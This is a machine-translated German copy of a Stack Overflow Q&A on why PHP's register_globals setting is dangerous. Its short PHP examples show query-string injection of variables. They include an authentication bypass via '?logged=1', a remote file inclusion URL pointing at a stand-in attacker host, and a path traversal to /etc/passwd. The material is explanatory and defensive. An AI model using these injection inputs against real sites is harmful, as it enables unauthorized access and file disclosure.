Frage

Ich bin kein PHP-Entwickler, aber ich habe in ein paar Orte gesehen, die Leute scheinen es wie die Pest oder etwas zu behandeln. Warum?

War es hilfreich?

Lösung

REGISTER_GLOBALS bedeutet, dass alle Variablen durch GET oder POST sind avilable als globale Variablen in Ihrem Skript übergeben. Da Zugriff auf nicht deklarierte Variablen nicht um einen Fehler in PHP ist (es ist eine Warnung), kann es zu sehr unangenehme Situationen führen. Betrachten Sie diese, zum Beispiel:

<?php
// $debug = true;
if ($debug) {
    echo "query: $query\n";
}

Es ist keine schlechte Sache per se (ausgereiftes Code Warnungen nicht generieren sollte deshalb keine Variablen zugreifen sollte, die nicht deklariert werden könnte (und sollte nicht Notwendigkeit REGISTER_GLOBALS aus dem gleichen Grund)), aber PHP-Code ist in der Regel [sehr] geringe Qualität, was zu dieser Art von Sicherheitslücken.

Andere Tipps

Aktivieren REGISTER_GLOBALS Webseiten bedient von PHP-Schwachstellen macht die einige Bösewichte scharf sein werden, zu nutzen.

Mit ihm ermöglicht, jedem Abfrage-String am Ende der URL:

http://yourdomain/something.php?valid=true 

wird der Wert einer Variablen $ gültig (zum Beispiel) beeinflussen in something.php, , wenn es vorhanden .

Wenn Sie öffentlich verfügbaren PHP-Code (eine Bibliothek zum Beispiel) die Namen der Variablen sind gut bekannt ist, und es wäre möglich, für Hacker ihre Werte zu steuern, indem Werte in dem Query-String zuweisen. Sie können in der Lage sein, die Authentifizierung zu umgehen.

Auch wenn Sie nicht öffentlichen Code verwenden, kann es möglich sein, die Namen von wichtigen Variablen zu erraten, und ihre Werte zu steuern.

Es wird der Standard sein, um REGISTER_GLOBALS in php.ini aktiviert haben

Neue Praxis hat es standardmäßig zu deaktivieren. Aktivieren Sie es auf eigene Gefahr!

Just hinzuzufügen, hier sind einige Situationen, in denen mit REGISTER_GLOBALS den Tag verderben aktiviert konnte:

Verwenden der Query-String-Zugriffskontrolle zu umgehen (Hack http://example.com/ ? angemeldet = 1 ):

<?php
$logged = User::getLogged();
if ($logged)
{
    include '/important/secret.php';
}
?>

Remote File Inclusion (RFI):

<?php
    //http://example.com/?path=http://evilbadthings.example.com/
    include "$path"; 
?>

Local File Inclusion (LFI):

<?php
    //http://example.com/?path=../../../../etc/passwd
    include "$path"; 
?>

Weil es dem Benutzer erlaubt, ohne jede Kontrolle jede globale Variable in Ihrem Code zu injizieren.

Auf der Grundlage der Qualität des Codes, kann es große Sicherheits Fehler einführen.

Lizenziert unter: CC-BY-SA mit Zuschreibung
Nicht verbunden mit StackOverflow
scroll top